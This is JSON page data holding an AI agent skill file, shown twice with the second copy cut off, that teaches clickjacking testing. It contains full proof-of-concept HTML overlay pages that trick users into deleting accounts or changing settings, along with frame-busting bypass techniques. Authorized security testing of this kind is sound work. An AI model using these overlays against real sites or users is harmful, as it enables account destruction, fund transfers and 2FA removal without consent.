[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M78TGJ6RT9711HQMBSH1PDBP":3,"skill-same:01M78TGJ6RT9711HQMBSH1PDBP":75},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":16,"sourceHtmlUrl":17,"categories":18,"keywords":19,"publishedAt":20,"linkOnly":21,"markdownContent":22,"markdownBody":23,"frontMatter":24,"refName":36,"commitSha":37,"skillDirectory":38,"forksCount":39,"repositoryHtmlUrl":40,"repositoryHomepageUrl":6,"ownerHtmlUrl":41,"ownerBlogUrl":42,"ownerDescription":43,"updatedAt":44,"install":45,"resources":58},"01M78TGJ6RT9711HQMBSH1PDBP","performing-clickjacking-attack-test",null,"Testing web applications for clickjacking vulnerabilities by assessing frame embedding controls and crafting proof-of-concept overlay attacks during authorized security assessments.","jukeyman\u002Fjukeyman-skills","jukeyman","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F142960420?v=4","01M78FR4Y3DHMMCBCC0GXXNB3F","RICK JEFFERSON","01M78FR4Z8RVQRAD31Y5J7V6EB",1,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fjukeyman\u002Fjukeyman-skills\u002Fblob\u002Fmain\u002Fskills\u002Fperforming-clickjacking-attack-test\u002FLICENSE","https:\u002F\u002Fgithub.com\u002Fjukeyman\u002Fjukeyman-skills\u002Fblob\u002Fmain\u002Fskills\u002Fperforming-clickjacking-attack-test\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: performing-clickjacking-attack-test\ndescription: Testing web applications for clickjacking vulnerabilities by assessing frame embedding controls and crafting proof-of-concept overlay attacks during authorized security assessments.\ndomain: cybersecurity\nsubdomain: web-application-security\ntags: [penetration-testing, clickjacking, ui-redressing, web-security, owasp, x-frame-options]\nversion: \"1.0\"\nauthor: mahipal\nlicense: Apache-2.0\n---\n\n# Performing Clickjacking Attack Test\n\n## When to Use\n\n- During authorized penetration tests when assessing UI redressing vulnerabilities\n- When testing whether sensitive actions (delete account, transfer funds, change settings) can be performed via clickjacking\n- For evaluating the effectiveness of X-Frame-Options and Content-Security-Policy frame-ancestors directives\n- When assessing applications that process one-click actions without additional confirmation\n- During security audits of applications handling financial transactions or account management\n\n## Prerequisites\n\n- **Authorization**: Written penetration testing agreement for the target\n- **Web browser**: Modern browser for testing iframe embedding\n- **Local web server**: Python `http.server` or similar for hosting PoC pages\n- **Burp Suite**: For examining response headers\n- **HTML\u002FCSS knowledge**: For crafting clickjacking overlay pages\n- **curl**: For checking framing headers on target pages\n\n\n> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.\n\n## Workflow\n\n### Step 1: Check Frame Embedding Protections\n\nExamine response headers for anti-clickjacking defenses.\n\n```bash\n# Check X-Frame-Options header\ncurl -s -I \"https:\u002F\u002Ftarget.example.com\u002F\" | grep -i \"x-frame-options\"\n# Expected values:\n# X-Frame-Options: DENY (blocks all framing)\n# X-Frame-Options: SAMEORIGIN (allows same-origin framing)\n# X-Frame-Options: ALLOW-FROM https:\u002F\u002Ftrusted.com (deprecated, limited support)\n\n# Check Content-Security-Policy frame-ancestors directive\ncurl -s -I \"https:\u002F\u002Ftarget.example.com\u002F\" | grep -i \"content-security-policy\"\n# Look for: frame-ancestors 'none' or frame-ancestors 'self'\n# frame-ancestors 'none' = equivalent to DENY\n# frame-ancestors 'self' = equivalent to SAMEORIGIN\n\n# Test multiple sensitive pages\nfor page in \u002F \u002Faccount\u002Fsettings \u002Faccount\u002Fdelete \u002Ftransfer \\\n  \u002Fadmin\u002Fdashboard \u002Fchange-password \u002Fchange-email; do\n  echo -n \"$page: \"\n  headers=$(curl -s -I \"https:\u002F\u002Ftarget.example.com$page\")\n  xfo=$(echo \"$headers\" | grep -i \"x-frame-options\" | tr -d '\\r')\n  csp=$(echo \"$headers\" | grep -i \"content-security-policy\" | grep -o \"frame-ancestors[^;]*\" | tr -d '\\r')\n  if [ -z \"$xfo\" ] && [ -z \"$csp\" ]; then\n    echo \"NO PROTECTION\"\n  else\n    echo \"${xfo:-none} | ${csp:-none}\"\n  fi\ndone\n\n# Check if JavaScript frame-busting is used (weak protection)\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002F\" | grep -i \"top.location\\|parent.location\\|frameElement\"\n```\n\n### Step 2: Test Basic Iframe Embedding\n\nAttempt to embed the target page in an iframe to confirm vulnerability.\n\n```html\n\u003C!-- basic-frame-test.html -->\n\u003Chtml>\n\u003Chead>\u003Ctitle>Clickjacking Frame Test\u003C\u002Ftitle>\u003C\u002Fhead>\n\u003Cbody>\n\u003Ch1>Frame Embedding Test\u003C\u002Fh1>\n\u003Cp>If the target page loads below, it is vulnerable to clickjacking.\u003C\u002Fp>\n\n\u003C!-- Test basic framing -->\n\u003Ciframe src=\"https:\u002F\u002Ftarget.example.com\u002Faccount\u002Fsettings\"\n        width=\"800\" height=\"600\"\n        style=\"border: 2px solid red;\">\n\u003C\u002Fiframe>\n\n\u003Cp>If you see \"Refused to display\" in console or blank iframe,\n   the page has frame protection.\u003C\u002Fp>\n\u003C\u002Fbody>\n\u003C\u002Fhtml>\n```\n\n```bash\n# Host the test page\ncd \u002Ftmp\ncat > frame-test.html \u003C\u003C 'EOF'\n\u003Chtml>\n\u003Cbody>\n\u003Ch1>Clickjacking Test\u003C\u002Fh1>\n\u003Ciframe src=\"https:\u002F\u002Ftarget.example.com\u002Faccount\u002Fsettings\"\n        width=\"800\" height=\"600\">\u003C\u002Fiframe>\n\u003C\u002Fbody>\n\u003C\u002Fhtml>\nEOF\npython3 -m http.server 8888\n# Open http:\u002F\u002Flocalhost:8888\u002Fframe-test.html in browser\n# Check browser console for framing errors\n```\n\n### Step 3: Craft Clickjacking Proof of Concept\n\nBuild an overlay attack that tricks users into clicking hidden elements.\n\n```html\n\u003C!-- clickjacking-poc.html -->\n\u003Chtml>\n\u003Chead>\n\u003Ctitle>Win a Prize!\u003C\u002Ftitle>\n\u003Cstyle>\n  body {\n    margin: 0;\n    padding: 0;\n    font-family: Arial, sans-serif;\n  }\n\n  \u002F* Invisible iframe containing target page *\u002F\n  #target-frame {\n    position: absolute;\n    top: 0;\n    left: 0;\n    width: 100%;\n    height: 100%;\n    opacity: 0.0001;  \u002F* Nearly invisible *\u002F\n    z-index: 2;       \u002F* On top of decoy *\u002F\n    border: none;\n  }\n\n  \u002F* Decoy content that tricks the user *\u002F\n  #decoy {\n    position: absolute;\n    top: 0;\n    left: 0;\n    width: 100%;\n    height: 100%;\n    z-index: 1;\n    background: white;\n  }\n\n  \u002F* Position the \"Click here\" button exactly over the target's\n     sensitive button (adjust top\u002Fleft values based on target layout) *\u002F\n  #click-bait {\n    position: absolute;\n    top: 350px;    \u002F* Align with target's \"Delete Account\" button *\u002F\n    left: 400px;   \u002F* Align horizontally *\u002F\n    padding: 15px 30px;\n    background: #4CAF50;\n    color: white;\n    font-size: 18px;\n    cursor: pointer;\n    border: none;\n    border-radius: 5px;\n  }\n\u003C\u002Fstyle>\n\u003C\u002Fhead>\n\u003Cbody>\n\n\u003C!-- Decoy content visible to the user -->\n\u003Cdiv id=\"decoy\">\n  \u003Ch1 style=\"text-align:center; margin-top:100px;\">\n    Congratulations! You Won!\n  \u003C\u002Fh1>\n  \u003Cp style=\"text-align:center;\">\n    Click the button below to claim your prize\n  \u003C\u002Fp>\n  \u003Cbutton id=\"click-bait\">CLAIM PRIZE\u003C\u002Fbutton>\n\u003C\u002Fdiv>\n\n\u003C!-- Hidden iframe with target's sensitive action -->\n\u003Ciframe id=\"target-frame\"\n  src=\"https:\u002F\u002Ftarget.example.com\u002Faccount\u002Fdelete\"\n  scrolling=\"no\">\n\u003C\u002Fiframe>\n\n\u003C\u002Fbody>\n\u003C\u002Fhtml>\n```\n\n### Step 4: Create Multi-Step Clickjacking Attack\n\nFor actions requiring multiple clicks, create a multi-step overlay.\n\n```html\n\u003C!-- multi-step-clickjacking.html -->\n\u003Chtml>\n\u003Chead>\n\u003Ctitle>Complete Survey\u003C\u002Ftitle>\n\u003Cstyle>\n  #target-frame {\n    position: absolute;\n    width: 100%;\n    height: 100%;\n    opacity: 0.0001;\n    z-index: 2;\n    border: none;\n  }\n  #step-container {\n    text-align: center;\n    margin-top: 200px;\n    z-index: 1;\n    position: relative;\n  }\n  .step { display: none; }\n  .step.active { display: block; }\n  .btn {\n    padding: 15px 40px;\n    font-size: 18px;\n    background: #2196F3;\n    color: white;\n    border: none;\n    cursor: pointer;\n    margin-top: 20px;\n  }\n\u003C\u002Fstyle>\n\u003C\u002Fhead>\n\u003Cbody>\n\n\u003Cdiv id=\"step-container\">\n  \u003C!-- Step 1: Click aligns with \"Settings\" link on target -->\n  \u003Cdiv class=\"step active\" id=\"step1\">\n    \u003Ch2>Step 1: Select your reward\u003C\u002Fh2>\n    \u003Cbutton class=\"btn\" onclick=\"nextStep()\"\n      style=\"position:absolute; top:200px; left:300px;\">\n      Gold Package\n    \u003C\u002Fbutton>\n  \u003C\u002Fdiv>\n\n  \u003C!-- Step 2: Click aligns with \"Delete Account\" button -->\n  \u003Cdiv class=\"step\" id=\"step2\">\n    \u003Ch2>Step 2: Confirm your choice\u003C\u002Fh2>\n    \u003Cbutton class=\"btn\" onclick=\"nextStep()\"\n      style=\"position:absolute; top:350px; left:400px;\">\n      Confirm\n    \u003C\u002Fbutton>\n  \u003C\u002Fdiv>\n\n  \u003C!-- Step 3: Click aligns with \"Yes, I'm sure\" confirmation -->\n  \u003Cdiv class=\"step\" id=\"step3\">\n    \u003Ch2>Step 3: Claim reward!\u003C\u002Fh2>\n    \u003Cbutton class=\"btn\"\n      style=\"position:absolute; top:400px; left:450px;\">\n      Claim Now!\n    \u003C\u002Fbutton>\n  \u003C\u002Fdiv>\n\u003C\u002Fdiv>\n\n\u003Ciframe id=\"target-frame\"\n  src=\"https:\u002F\u002Ftarget.example.com\u002Faccount\u002Fsettings\">\n\u003C\u002Fiframe>\n\n\u003Cscript>\nvar currentStep = 1;\nfunction nextStep() {\n  document.getElementById('step' + currentStep).classList.remove('active');\n  currentStep++;\n  document.getElementById('step' + currentStep).classList.add('active');\n  \u002F\u002F Optionally change iframe src for multi-page flows\n}\n\u003C\u002Fscript>\n\u003C\u002Fbody>\n\u003C\u002Fhtml>\n```\n\n### Step 5: Test Frame-Busting Bypass Techniques\n\nIf JavaScript-based frame protection is used, attempt to bypass it.\n\n```html\n\u003C!-- Bypass frame-busting JavaScript -->\n\n\u003C!-- Technique 1: sandbox attribute blocks top-level navigation -->\n\u003Ciframe src=\"https:\u002F\u002Ftarget.example.com\u002Faccount\u002Fsettings\"\n  sandbox=\"allow-scripts allow-forms allow-same-origin\"\n  width=\"800\" height=\"600\">\n\u003C\u002Fiframe>\n\u003C!-- sandbox without allow-top-navigation prevents frame-busting -->\n\n\u003C!-- Technique 2: Double framing -->\n\u003C!-- If target checks: if (top !== self) top.location = self.location -->\n\u003C!-- Frame the page through an intermediate page that also frames -->\n\u003Ciframe src=\"intermediate.html\" width=\"800\" height=\"600\">\u003C\u002Fiframe>\n\u003C!-- intermediate.html contains: \u003Ciframe src=\"https:\u002F\u002Ftarget.example.com\u002F...\"> -->\n\n\u003C!-- Technique 3: Intercept onbeforeunload -->\n\u003Cscript>\nwindow.onbeforeunload = function() {\n  return \"Are you sure?\";  \u002F\u002F Prevents navigation away\n};\n\u003C\u002Fscript>\n\u003Ciframe src=\"https:\u002F\u002Ftarget.example.com\u002Faccount\u002Fsettings\"\n  width=\"800\" height=\"600\">\n\u003C\u002Fiframe>\n\n\u003C!-- Technique 4: Using data: URI or about:blank -->\n\u003Ciframe id=\"f\" src=\"about:blank\" width=\"800\" height=\"600\">\u003C\u002Fiframe>\n\u003Cscript>\nvar iframe = document.getElementById('f');\niframe.contentDocument.write(\n  '\u003Ciframe src=\"https:\u002F\u002Ftarget.example.com\u002Faccount\u002Fsettings\" width=\"100%\" height=\"100%\">\u003C\u002Fiframe>'\n);\n\u003C\u002Fscript>\n```\n\n### Step 6: Validate Impact and Document Finding\n\nConfirm that the clickjacking leads to meaningful impact.\n\n```bash\n# Host the PoC and test the attack flow\ncd \u002Ftmp\npython3 -m http.server 8888\n\n# Testing steps:\n# 1. Log in to target.example.com in the browser\n# 2. Open http:\u002F\u002Flocalhost:8888\u002Fclickjacking-poc.html\n# 3. Click the decoy button\n# 4. Verify the sensitive action was performed on the target\n\n# For report: adjust iframe opacity to show overlap\n# Change opacity from 0.0001 to 0.5 for screenshot evidence\n# This shows the target page visible behind the decoy content\n\n# Document which sensitive actions are vulnerable:\n# - Account deletion\n# - Password\u002Femail change\n# - Fund transfer\n# - Permission\u002Frole changes\n# - Enabling\u002Fdisabling security features\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| **Clickjacking** | UI redressing attack that tricks users into clicking hidden elements by overlaying decoy content |\n| **X-Frame-Options** | HTTP header controlling whether a page can be embedded in iframes (DENY, SAMEORIGIN) |\n| **frame-ancestors** | CSP directive specifying valid parents for iframe embedding (supersedes X-Frame-Options) |\n| **Frame Busting** | JavaScript-based defense that attempts to break out of iframes (easily bypassable) |\n| **Likejacking** | Clickjacking variant targeting social media \"Like\" or \"Share\" buttons |\n| **Cursorjacking** | Variant using CSS to offset the visible cursor from the actual click position |\n| **Multi-step Clickjacking** | Attack requiring multiple clicks, with decoy content changing at each step |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| **Burp Suite Professional** | Examining X-Frame-Options and CSP headers on responses |\n| **Clickjack Tester (browser)** | Browser-based iframe embedding test tool |\n| **Browser DevTools** | Inspecting frame embedding behavior and console errors |\n| **Python http.server** | Hosting clickjacking PoC pages locally |\n| **OWASP ZAP** | Automated detection of missing anti-framing headers |\n| **securityheaders.com** | Online scanner for missing security headers |\n\n## Common Scenarios\n\n### Scenario 1: Account Deletion via Clickjacking\nThe account deletion page at `\u002Faccount\u002Fdelete` has no X-Frame-Options header. An attacker creates a page with a \"Win a prize\" button positioned over the \"Delete My Account\" button in a transparent iframe.\n\n### Scenario 2: One-Click Fund Transfer\nA banking application performs transfers via a single button click on a pre-filled form. Without frame protection, the attacker embeds the transfer page in an iframe and overlays a decoy \"Play Game\" button.\n\n### Scenario 3: 2FA Disable via Multi-Step Clickjacking\nDisabling two-factor authentication requires two clicks (settings link, then disable button). A multi-step clickjacking PoC guides the victim through two decoy clicks that align with the real buttons.\n\n### Scenario 4: OAuth Authorization Clickjack\nAn OAuth consent screen allows framing. The attacker embeds the consent page and tricks the victim into clicking \"Authorize\", granting the attacker's application access to the victim's account.\n\n## Output Format\n\n```\n## Clickjacking Vulnerability Finding\n\n**Vulnerability**: Clickjacking - Missing Frame Embedding Protection\n**Severity**: Medium (CVSS 6.1)\n**Location**: \u002Faccount\u002Fsettings, \u002Faccount\u002Fdelete, \u002Ftransfer\n**OWASP Category**: A04:2021 - Insecure Design\n\n### Headers Analysis\n| Page | X-Frame-Options | CSP frame-ancestors | Vulnerable |\n|------|----------------|--------------------|-|\n| \u002F | Not set | Not set | Yes |\n| \u002Faccount\u002Fsettings | Not set | Not set | Yes |\n| \u002Faccount\u002Fdelete | Not set | Not set | Yes |\n| \u002Ftransfer | Not set | Not set | Yes |\n| \u002Flogin | SAMEORIGIN | - | No |\n\n### Sensitive Actions Exploitable\n1. Account deletion (single click, no re-authentication)\n2. Email change (single click, no confirmation)\n3. 2FA disable (two clicks, multi-step PoC)\n4. Fund transfer (pre-filled form, single click)\n\n### Impact\n- Account takeover via email change clickjacking\n- Account destruction via delete clickjacking\n- Financial loss via transfer clickjacking\n- Security downgrade via 2FA disable clickjacking\n\n### Recommendation\n1. Add `Content-Security-Policy: frame-ancestors 'none'` to all pages\n2. Set `X-Frame-Options: DENY` as fallback for older browsers\n3. Require re-authentication for sensitive actions (delete, transfer)\n4. Add confirmation dialogs that cannot be pre-filled or auto-submitted\n5. Implement SameSite=Strict cookies to reduce session availability in frames\n```\n","# Performing Clickjacking Attack Test\n\n## When to Use\n\n- During authorized penetration tests when assessing UI redressing vulnerabilities\n- When testing whether sensitive actions (delete account, transfer funds, change settings) can be performed via clickjacking\n- For evaluating the effectiveness of X-Frame-Options and Content-Security-Policy frame-ancestors directives\n- When assessing applications that process one-click actions without additional confirmation\n- During security audits of applications handling financial transactions or account management\n\n## Prerequisites\n\n- **Authorization**: Written penetration testing agreement for the target\n- **Web browser**: Modern browser for testing iframe embedding\n- **Local web server**: Python `http.server` or similar for hosting PoC pages\n- **Burp Suite**: For examining response headers\n- **HTML\u002FCSS knowledge**: For crafting clickjacking overlay pages\n- **curl**: For checking framing headers on target pages\n\n\n> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.\n\n## Workflow\n\n### Step 1: Check Frame Embedding Protections\n\nExamine response headers for anti-clickjacking defenses.\n\n```bash\n# Check X-Frame-Options header\ncurl -s -I \"https:\u002F\u002Ftarget.example.com\u002F\" | grep -i \"x-frame-options\"\n# Expected values:\n# X-Frame-Options: DENY (blocks all framing)\n# X-Frame-Options: SAMEORIGIN (allows same-origin framing)\n# X-Frame-Options: ALLOW-FROM https:\u002F\u002Ftrusted.com (deprecated, limited support)\n\n# Check Content-Security-Policy frame-ancestors directive\ncurl -s -I \"https:\u002F\u002Ftarget.example.com\u002F\" | grep -i \"content-security-policy\"\n# Look for: frame-ancestors 'none' or frame-ancestors 'self'\n# frame-ancestors 'none' = equivalent to DENY\n# frame-ancestors 'self' = equivalent to SAMEORIGIN\n\n# Test multiple sensitive pages\nfor page in \u002F \u002Faccount\u002Fsettings \u002Faccount\u002Fdelete \u002Ftransfer \\\n  \u002Fadmin\u002Fdashboard \u002Fchange-password \u002Fchange-email; do\n  echo -n \"$page: \"\n  headers=$(curl -s -I \"https:\u002F\u002Ftarget.example.com$page\")\n  xfo=$(echo \"$headers\" | grep -i \"x-frame-options\" | tr -d '\\r')\n  csp=$(echo \"$headers\" | grep -i \"content-security-policy\" | grep -o \"frame-ancestors[^;]*\" | tr -d '\\r')\n  if [ -z \"$xfo\" ] && [ -z \"$csp\" ]; then\n    echo \"NO PROTECTION\"\n  else\n    echo \"${xfo:-none} | ${csp:-none}\"\n  fi\ndone\n\n# Check if JavaScript frame-busting is used (weak protection)\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002F\" | grep -i \"top.location\\|parent.location\\|frameElement\"\n```\n\n### Step 2: Test Basic Iframe Embedding\n\nAttempt to embed the target page in an iframe to confirm vulnerability.\n\n```html\n\u003C!-- basic-frame-test.html -->\n\u003Chtml>\n\u003Chead>\u003Ctitle>Clickjacking Frame Test\u003C\u002Ftitle>\u003C\u002Fhead>\n\u003Cbody>\n\u003Ch1>Frame Embedding Test\u003C\u002Fh1>\n\u003Cp>If the target page loads below, it is vulnerable to clickjacking.\u003C\u002Fp>\n\n\u003C!-- Test basic framing -->\n\u003Ciframe src=\"https:\u002F\u002Ftarget.example.com\u002Faccount\u002Fsettings\"\n        width=\"800\" height=\"600\"\n        style=\"border: 2px solid red;\">\n\u003C\u002Fiframe>\n\n\u003Cp>If you see \"Refused to display\" in console or blank iframe,\n   the page has frame protection.\u003C\u002Fp>\n\u003C\u002Fbody>\n\u003C\u002Fhtml>\n```\n\n```bash\n# Host the test page\ncd \u002Ftmp\ncat > frame-test.html \u003C\u003C 'EOF'\n\u003Chtml>\n\u003Cbody>\n\u003Ch1>Clickjacking Test\u003C\u002Fh1>\n\u003Ciframe src=\"https:\u002F\u002Ftarget.example.com\u002Faccount\u002Fsettings\"\n        width=\"800\" height=\"600\">\u003C\u002Fiframe>\n\u003C\u002Fbody>\n\u003C\u002Fhtml>\nEOF\npython3 -m http.server 8888\n# Open http:\u002F\u002Flocalhost:8888\u002Fframe-test.html in browser\n# Check browser console for framing errors\n```\n\n### Step 3: Craft Clickjacking Proof of Concept\n\nBuild an overlay attack that tricks users into clicking hidden elements.\n\n```html\n\u003C!-- clickjacking-poc.html -->\n\u003Chtml>\n\u003Chead>\n\u003Ctitle>Win a Prize!\u003C\u002Ftitle>\n\u003Cstyle>\n  body {\n    margin: 0;\n    padding: 0;\n    font-family: Arial, sans-serif;\n  }\n\n  \u002F* Invisible iframe containing target page *\u002F\n  #target-frame {\n    position: absolute;\n    top: 0;\n    left: 0;\n    width: 100%;\n    height: 100%;\n    opacity: 0.0001;  \u002F* Nearly invisible *\u002F\n    z-index: 2;       \u002F* On top of decoy *\u002F\n    border: none;\n  }\n\n  \u002F* Decoy content that tricks the user *\u002F\n  #decoy {\n    position: absolute;\n    top: 0;\n    left: 0;\n    width: 100%;\n    height: 100%;\n    z-index: 1;\n    background: white;\n  }\n\n  \u002F* Position the \"Click here\" button exactly over the target's\n     sensitive button (adjust top\u002Fleft values based on target layout) *\u002F\n  #click-bait {\n    position: absolute;\n    top: 350px;    \u002F* Align with target's \"Delete Account\" button *\u002F\n    left: 400px;   \u002F* Align horizontally *\u002F\n    padding: 15px 30px;\n    background: #4CAF50;\n    color: white;\n    font-size: 18px;\n    cursor: pointer;\n    border: none;\n    border-radius: 5px;\n  }\n\u003C\u002Fstyle>\n\u003C\u002Fhead>\n\u003Cbody>\n\n\u003C!-- Decoy content visible to the user -->\n\u003Cdiv id=\"decoy\">\n  \u003Ch1 style=\"text-align:center; margin-top:100px;\">\n    Congratulations! You Won!\n  \u003C\u002Fh1>\n  \u003Cp style=\"text-align:center;\">\n    Click the button below to claim your prize\n  \u003C\u002Fp>\n  \u003Cbutton id=\"click-bait\">CLAIM PRIZE\u003C\u002Fbutton>\n\u003C\u002Fdiv>\n\n\u003C!-- Hidden iframe with target's sensitive action -->\n\u003Ciframe id=\"target-frame\"\n  src=\"https:\u002F\u002Ftarget.example.com\u002Faccount\u002Fdelete\"\n  scrolling=\"no\">\n\u003C\u002Fiframe>\n\n\u003C\u002Fbody>\n\u003C\u002Fhtml>\n```\n\n### Step 4: Create Multi-Step Clickjacking Attack\n\nFor actions requiring multiple clicks, create a multi-step overlay.\n\n```html\n\u003C!-- multi-step-clickjacking.html -->\n\u003Chtml>\n\u003Chead>\n\u003Ctitle>Complete Survey\u003C\u002Ftitle>\n\u003Cstyle>\n  #target-frame {\n    position: absolute;\n    width: 100%;\n    height: 100%;\n    opacity: 0.0001;\n    z-index: 2;\n    border: none;\n  }\n  #step-container {\n    text-align: center;\n    margin-top: 200px;\n    z-index: 1;\n    position: relative;\n  }\n  .step { display: none; }\n  .step.active { display: block; }\n  .btn {\n    padding: 15px 40px;\n    font-size: 18px;\n    background: #2196F3;\n    color: white;\n    border: none;\n    cursor: pointer;\n    margin-top: 20px;\n  }\n\u003C\u002Fstyle>\n\u003C\u002Fhead>\n\u003Cbody>\n\n\u003Cdiv id=\"step-container\">\n  \u003C!-- Step 1: Click aligns with \"Settings\" link on target -->\n  \u003Cdiv class=\"step active\" id=\"step1\">\n    \u003Ch2>Step 1: Select your reward\u003C\u002Fh2>\n    \u003Cbutton class=\"btn\" onclick=\"nextStep()\"\n      style=\"position:absolute; top:200px; left:300px;\">\n      Gold Package\n    \u003C\u002Fbutton>\n  \u003C\u002Fdiv>\n\n  \u003C!-- Step 2: Click aligns with \"Delete Account\" button -->\n  \u003Cdiv class=\"step\" id=\"step2\">\n    \u003Ch2>Step 2: Confirm your choice\u003C\u002Fh2>\n    \u003Cbutton class=\"btn\" onclick=\"nextStep()\"\n      style=\"position:absolute; top:350px; left:400px;\">\n      Confirm\n    \u003C\u002Fbutton>\n  \u003C\u002Fdiv>\n\n  \u003C!-- Step 3: Click aligns with \"Yes, I'm sure\" confirmation -->\n  \u003Cdiv class=\"step\" id=\"step3\">\n    \u003Ch2>Step 3: Claim reward!\u003C\u002Fh2>\n    \u003Cbutton class=\"btn\"\n      style=\"position:absolute; top:400px; left:450px;\">\n      Claim Now!\n    \u003C\u002Fbutton>\n  \u003C\u002Fdiv>\n\u003C\u002Fdiv>\n\n\u003Ciframe id=\"target-frame\"\n  src=\"https:\u002F\u002Ftarget.example.com\u002Faccount\u002Fsettings\">\n\u003C\u002Fiframe>\n\n\u003Cscript>\nvar currentStep = 1;\nfunction nextStep() {\n  document.getElementById('step' + currentStep).classList.remove('active');\n  currentStep++;\n  document.getElementById('step' + currentStep).classList.add('active');\n  \u002F\u002F Optionally change iframe src for multi-page flows\n}\n\u003C\u002Fscript>\n\u003C\u002Fbody>\n\u003C\u002Fhtml>\n```\n\n### Step 5: Test Frame-Busting Bypass Techniques\n\nIf JavaScript-based frame protection is used, attempt to bypass it.\n\n```html\n\u003C!-- Bypass frame-busting JavaScript -->\n\n\u003C!-- Technique 1: sandbox attribute blocks top-level navigation -->\n\u003Ciframe src=\"https:\u002F\u002Ftarget.example.com\u002Faccount\u002Fsettings\"\n  sandbox=\"allow-scripts allow-forms allow-same-origin\"\n  width=\"800\" height=\"600\">\n\u003C\u002Fiframe>\n\u003C!-- sandbox without allow-top-navigation prevents frame-busting -->\n\n\u003C!-- Technique 2: Double framing -->\n\u003C!-- If target checks: if (top !== self) top.location = self.location -->\n\u003C!-- Frame the page through an intermediate page that also frames -->\n\u003Ciframe src=\"intermediate.html\" width=\"800\" height=\"600\">\u003C\u002Fiframe>\n\u003C!-- intermediate.html contains: \u003Ciframe src=\"https:\u002F\u002Ftarget.example.com\u002F...\"> -->\n\n\u003C!-- Technique 3: Intercept onbeforeunload -->\n\u003Cscript>\nwindow.onbeforeunload = function() {\n  return \"Are you sure?\";  \u002F\u002F Prevents navigation away\n};\n\u003C\u002Fscript>\n\u003Ciframe src=\"https:\u002F\u002Ftarget.example.com\u002Faccount\u002Fsettings\"\n  width=\"800\" height=\"600\">\n\u003C\u002Fiframe>\n\n\u003C!-- Technique 4: Using data: URI or about:blank -->\n\u003Ciframe id=\"f\" src=\"about:blank\" width=\"800\" height=\"600\">\u003C\u002Fiframe>\n\u003Cscript>\nvar iframe = document.getElementById('f');\niframe.contentDocument.write(\n  '\u003Ciframe src=\"https:\u002F\u002Ftarget.example.com\u002Faccount\u002Fsettings\" width=\"100%\" height=\"100%\">\u003C\u002Fiframe>'\n);\n\u003C\u002Fscript>\n```\n\n### Step 6: Validate Impact and Document Finding\n\nConfirm that the clickjacking leads to meaningful impact.\n\n```bash\n# Host the PoC and test the attack flow\ncd \u002Ftmp\npython3 -m http.server 8888\n\n# Testing steps:\n# 1. Log in to target.example.com in the browser\n# 2. Open http:\u002F\u002Flocalhost:8888\u002Fclickjacking-poc.html\n# 3. Click the decoy button\n# 4. Verify the sensitive action was performed on the target\n\n# For report: adjust iframe opacity to show overlap\n# Change opacity from 0.0001 to 0.5 for screenshot evidence\n# This shows the target page visible behind the decoy content\n\n# Document which sensitive actions are vulnerable:\n# - Account deletion\n# - Password\u002Femail change\n# - Fund transfer\n# - Permission\u002Frole changes\n# - Enabling\u002Fdisabling security features\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| **Clickjacking** | UI redressing attack that tricks users into clicking hidden elements by overlaying decoy content |\n| **X-Frame-Options** | HTTP header controlling whether a page can be embedded in iframes (DENY, SAMEORIGIN) |\n| **frame-ancestors** | CSP directive specifying valid parents for iframe embedding (supersedes X-Frame-Options) |\n| **Frame Busting** | JavaScript-based defense that attempts to break out of iframes (easily bypassable) |\n| **Likejacking** | Clickjacking variant targeting social media \"Like\" or \"Share\" buttons |\n| **Cursorjacking** | Variant using CSS to offset the visible cursor from the actual click position |\n| **Multi-step Clickjacking** | Attack requiring multiple clicks, with decoy content changing at each step |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| **Burp Suite Professional** | Examining X-Frame-Options and CSP headers on responses |\n| **Clickjack Tester (browser)** | Browser-based iframe embedding test tool |\n| **Browser DevTools** | Inspecting frame embedding behavior and console errors |\n| **Python http.server** | Hosting clickjacking PoC pages locally |\n| **OWASP ZAP** | Automated detection of missing anti-framing headers |\n| **securityheaders.com** | Online scanner for missing security headers |\n\n## Common Scenarios\n\n### Scenario 1: Account Deletion via Clickjacking\nThe account deletion page at `\u002Faccount\u002Fdelete` has no X-Frame-Options header. An attacker creates a page with a \"Win a prize\" button positioned over the \"Delete My Account\" button in a transparent iframe.\n\n### Scenario 2: One-Click Fund Transfer\nA banking application performs transfers via a single button click on a pre-filled form. Without frame protection, the attacker embeds the transfer page in an iframe and overlays a decoy \"Play Game\" button.\n\n### Scenario 3: 2FA Disable via Multi-Step Clickjacking\nDisabling two-factor authentication requires two clicks (settings link, then disable button). A multi-step clickjacking PoC guides the victim through two decoy clicks that align with the real buttons.\n\n### Scenario 4: OAuth Authorization Clickjack\nAn OAuth consent screen allows framing. The attacker embeds the consent page and tricks the victim into clicking \"Authorize\", granting the attacker's application access to the victim's account.\n\n## Output Format\n\n```\n## Clickjacking Vulnerability Finding\n\n**Vulnerability**: Clickjacking - Missing Frame Embedding Protection\n**Severity**: Medium (CVSS 6.1)\n**Location**: \u002Faccount\u002Fsettings, \u002Faccount\u002Fdelete, \u002Ftransfer\n**OWASP Category**: A04:2021 - Insecure Design\n\n### Headers Analysis\n| Page | X-Frame-Options | CSP frame-ancestors | Vulnerable |\n|------|----------------|--------------------|-|\n| \u002F | Not set | Not set | Yes |\n| \u002Faccount\u002Fsettings | Not set | Not set | Yes |\n| \u002Faccount\u002Fdelete | Not set | Not set | Yes |\n| \u002Ftransfer | Not set | Not set | Yes |\n| \u002Flogin | SAMEORIGIN | - | No |\n\n### Sensitive Actions Exploitable\n1. Account deletion (single click, no 